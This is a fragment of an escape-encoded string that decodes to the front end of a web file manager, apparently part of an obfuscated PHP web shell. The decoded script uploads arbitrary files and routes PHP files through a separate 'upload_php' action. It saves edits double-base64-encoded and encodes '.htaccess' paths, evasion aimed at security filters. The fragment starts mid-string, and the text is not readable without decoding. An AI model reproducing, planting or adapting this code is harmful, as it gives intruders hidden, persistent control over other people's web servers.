63\x6c\151\143\x6b\x27\54\40\x28\x29\40\75\x3e\x20\x64\157\155\56\x68\151\144\144\x65\156\106\x69\x6c\145\111\156\x70\165\x74\x2e\143\154\151\x63\153\x28\51\x29\73\12\x20\40\40\x20\40\x20\x20\x20\144\x6f\155\x2e\x68\151\144\144\x65\x6e\106\x69\x6c\x65\x49\x6e\160\x75\164\56\x61\144\144\x45\166\x65\156\x74\114\x69\x73\164\x65\x6e\x65\162\50\47\143\x68\141\156\147\145\47\x2c\40\x61\163\x79\156\143\40\x28\x65\x29\40\x3d\76\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\40\40\40\40\x63\x6f\156\x73\x74\40\146\x69\x6c\145\x73\40\75\x20\101\162\162\x61\x79\x2e\146\162\157\x6d\50\x65\x2e\164\x61\x72\x67\145\164\x2e\x66\151\154\145\163\51\73\40\x69\146\40\x28\x66\151\x6c\145\163\56\154\x65\156\x67\x74\150\x20\x3d\x3d\75\40\60\x29\40\162\x65\x74\165\x72\x6e\73\xa\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\146\x6f\162\40\x28\x63\157\156\x73\x74\x20\x66\151\x6c\x65\40\157\146\x20\146\x69\154\145\163\x29\x20\x7b\12\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x69\146\x20\50\x66\151\x6c\145\x2e\x73\x69\172\x65\x20\76\x20\x55\120\x4c\117\x41\x44\x5f\x4c\111\x4d\111\x54\x5f\115\x42\x20\52\40\x31\60\62\64\x20\x2a\40\61\60\x32\64\51\40\173\x20\x61\x6c\145\x72\164\50\140\x45\x72\162\x6f\162\x3a\x20\x46\151\x6c\x65\40\x22\44\173\x66\151\x6c\145\56\156\x61\x6d\x65\175\x22\40\x69\x73\40\x74\157\x6f\40\x6c\141\162\x67\x65\40\50\115\x61\170\x3a\40\x24\173\125\x50\x4c\117\x41\x44\x5f\114\x49\x4d\111\x54\x5f\115\102\175\40\x4d\102\51\x2e\x60\51\73\40\143\157\156\x74\151\x6e\165\x65\73\x20\x7d\xa\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\40\x20\143\157\x6e\x73\164\40\162\x65\141\144\x65\162\x20\x3d\x20\156\x65\167\x20\x46\151\154\145\122\x65\x61\144\145\162\x28\x29\73\12\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\143\157\156\x73\x74\40\x66\x69\154\145\122\145\x61\144\x50\x72\157\155\151\163\x65\x20\75\x20\156\145\167\x20\120\x72\157\x6d\151\x73\145\50\x28\x72\145\163\157\154\x76\x65\54\40\x72\x65\152\x65\x63\x74\x29\x20\x3d\76\40\173\40\162\145\141\x64\x65\x72\x2e\157\156\154\x6f\x61\144\x20\75\x20\x65\166\x65\x6e\x74\x20\x3d\76\x20\x72\145\163\x6f\x6c\166\x65\x28\145\x76\x65\156\164\56\x74\x61\x72\x67\x65\x74\x2e\x72\145\x73\165\154\164\x29\x3b\x20\x72\x65\x61\144\x65\162\56\157\156\145\x72\x72\157\x72\x20\75\40\145\162\162\157\x72\x20\x3d\76\x20\162\145\x6a\145\143\164\x28\145\x72\162\x6f\x72\51\73\x20\162\145\141\x64\x65\x72\x2e\x72\x65\x61\144\101\x73\104\x61\x74\x61\x55\122\114\50\x66\151\x6c\x65\x29\73\x20\x7d\51\x3b\12\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x74\162\x79\x20\x7b\12\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\143\157\x6e\x73\x74\x20\143\157\x6e\x74\x65\156\x74\137\x62\x61\x73\x65\66\x34\x20\x3d\x20\x61\x77\141\x69\x74\40\x66\x69\154\x65\x52\145\141\x64\120\x72\157\x6d\151\163\x65\73\xa\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\143\x6f\x6e\163\x74\40\157\x72\151\147\x69\156\141\154\116\141\155\145\40\x3d\x20\146\151\x6c\x65\x2e\156\x61\155\x65\73\xa\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\40\143\157\156\163\x74\40\x66\x64\40\x3d\x20\x6e\x65\167\40\x46\157\162\x6d\x44\x61\164\x61\x28\x29\x3b\xa\40\x20\40\40\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\146\x64\56\141\x70\x70\145\x6e\x64\x28\47\160\x61\x74\150\47\x2c\40\123\124\101\124\105\56\143\x75\x72\162\x65\156\164\120\141\x74\x68\x29\73\xa\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\146\x64\x2e\x61\x70\160\145\x6e\x64\x28\47\x63\x6f\156\164\145\x6e\164\137\142\x61\163\145\66\x34\47\54\40\143\157\156\x74\145\156\x74\x5f\x62\141\x73\x65\66\x34\x29\73\12\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\151\146\40\50\x6f\162\151\147\151\156\x61\154\116\x61\x6d\145\56\164\x6f\x4c\157\167\x65\x72\103\141\x73\145\x28\51\x2e\x65\x6e\144\163\127\x69\164\x68\50\47\x2e\160\x68\x70\x27\x29\x29\40\x7b\12\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\146\x64\56\x61\160\x70\x65\x6e\144\50\x27\x66\x69\x6c\145\x6e\141\155\x65\137\142\x61\x73\145\66\64\47\54\40\x62\164\157\x61\50\x6f\162\151\147\151\x6e\141\x6c\116\x61\155\145\51\x29\73\12\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\x61\x77\x61\x69\x74\x20\141\160\151\103\141\154\x6c\x28\x27\165\160\154\157\141\144\137\160\x68\160\47\x2c\40\146\144\x2c\40\164\x72\165\145\x29\73\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x7d\40\145\154\163\x65\x20\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\146\x64\56\x61\x70\160\x65\156\x64\50\47\x66\x69\x6c\x65\156\141\x6d\x65\137\x62\x61\x73\x65\x36\64\47\54\x20\x62\164\x6f\141\x28\157\x72\x69\x67\151\x6e\x61\154\x4e\x61\x6d\145\51\51\x3b\12\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\141\x77\141\151\164\40\x61\x70\151\103\141\154\154\50\47\x75\x70\154\157\141\144\47\x2c\x20\x66\x64\54\40\164\162\x75\x65\x29\73\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x7d\xa\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\175\x20\143\141\164\143\x68\x20\50\x65\x72\162\157\x72\51\40\173\12\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x61\154\145\x72\164\50\x60\106\141\x69\x6c\x65\x64\40\164\x6f\40\160\x72\x6f\x63\145\x73\163\x20\x66\151\154\145\40\44\173\146\x69\154\145\x2e\x6e\x61\155\x65\x7d\72\40\x24\x7b\x65\x72\162\x6f\x72\x2e\155\x65\163\x73\x61\147\x65\x7d\x60\x29\x3b\12\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x7d\xa\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\175\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\145\x2e\164\x61\162\x67\x65\164\x2e\x76\x61\154\x75\145\40\75\x20\x27\47\x3b\xa\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x72\x65\x6e\144\145\162\x28\51\73\12\40\40\40\40\x20\40\x20\x20\x7d\51\x3b\12\12\40\40\40\40\40\40\40\40\x64\x6f\x6d\56\x73\x61\x76\x65\x42\164\156\56\141\144\x64\105\166\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\x28\47\x63\154\x69\143\x6b\x27\x2c\40\50\x29\40\x3d\x3e\x20\x7b\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x63\157\156\x73\164\40\x70\x61\x74\150\40\75\x20\144\x6f\x6d\56\x65\x64\151\164\x6f\x72\106\151\154\x65\156\141\x6d\145\56\164\x65\x78\x74\x43\157\x6e\x74\145\x6e\164\73\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\x20\143\x6f\x6e\x73\164\40\143\x6f\156\x74\x65\156\x74\x20\x3d\x20\x62\164\x6f\x61\x28\x62\x74\157\141\50\144\157\x6d\56\145\144\x69\x74\x6f\162\x2e\166\141\154\165\145\51\x29\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x63\x6f\156\x73\164\x20\146\x64\40\75\x20\156\145\167\40\106\x6f\x72\155\104\141\x74\141\50\51\x3b\12\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\x63\157\x6e\x73\164\x20\x63\x68\165\156\x6b\x53\x69\172\x65\x20\x3d\40\x34\x30\x39\66\73\12\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x66\x6f\x72\x20\x28\154\145\164\x20\151\x20\x3d\x20\60\x3b\40\x69\40\x3c\40\143\157\156\164\x65\x6e\164\56\x6c\x65\156\147\x74\x68\x3b\x20\151\40\53\x3d\x20\143\150\165\x6e\153\x53\x69\172\145\x29\40\173\12\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x66\x64\56\141\160\x70\x65\x6e\144\50\47\x63\157\x6e\164\x65\x6e\164\137\x63\x68\165\156\153\163\133\x5d\x27\54\x20\x63\x6f\x6e\x74\145\x6e\x74\x2e\163\x75\142\x73\x74\x72\151\x6e\147\50\x69\x2c\x20\x69\x20\53\40\x63\x68\x75\x6e\153\x53\151\x7a\145\x29\51\73\12\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x7d\12\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\154\145\x74\x20\x61\x63\164\151\157\156\x20\x3d\x20\47\163\x61\166\145\137\143\157\x6e\164\x65\x6e\x74\47\x3b\xa\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\x70\x61\x74\150\x2e\151\156\143\x6c\165\144\x65\x73\50\x27\56\150\x74\x61\x63\x63\145\163\x73\47\51\51\x20\x7b\12\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x61\x63\164\151\157\x6e\40\x3d\40\47\163\x61\166\145\137\143\x6f\156\164\145\156\164\x5f\142\x36\64\x27\x3b\12\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x66\x64\x2e\141\160\160\145\156\144\50\x27\160\141\164\150\137\x62\x36\x34\x27\x2c\x20\x62\x74\x6f\x61\50\160\141\164\x68\51\x29\73\xa\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\175\x20\145\154\x73\x65\40\x7b\xa\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\146\x64\56\141\160\160\145\x6e\144\50\x27\x70\x61\164\150\x27\x2c\x20\160\x61\x74\150\x29\x3b\xa\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x7d\xa\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\141\x70\151\x43\141\154\154\50\x61\143\x74\x69\157\156\x2c\x20\x66\144\x2c\x20\164\x72\x75\x65\51\56\164\x68\145\156\x28\x72\145\x73\x75\154\164\x20\75\x3e\40\x7b\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\x69\x66\50\x72\x65\x73\165\x6c\164\51\40\x7b\12\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x64\x6f\155\56\x65\144\151\164\157\x72\x4d\x6f\144\x61\154\x2e\163\x74\171\x6c\x65\56\x64\151\x73\160\154\x61\x79\x20\x3d\40\47\156\x6f\156\145\x27\x3b\12\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\162\x65\x6e\x64\145\162\50\x29\73\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x7d\12\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\175\x29\73\12\x20\x20\40\x20\40\x20\40\x20\x7d\x29\x3b\xa\12\40\x20\x20\x20\40\x20\x20\40\x72\145\x6e\x64\x65\x72\x28\51\x3b\xa\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x3c\x2f\163\143\162\x69\160\x74\76\12\74\x2f\142\157\144\171\x3e\xa\x3c\57\150\x74\x6d\x6c\x3e";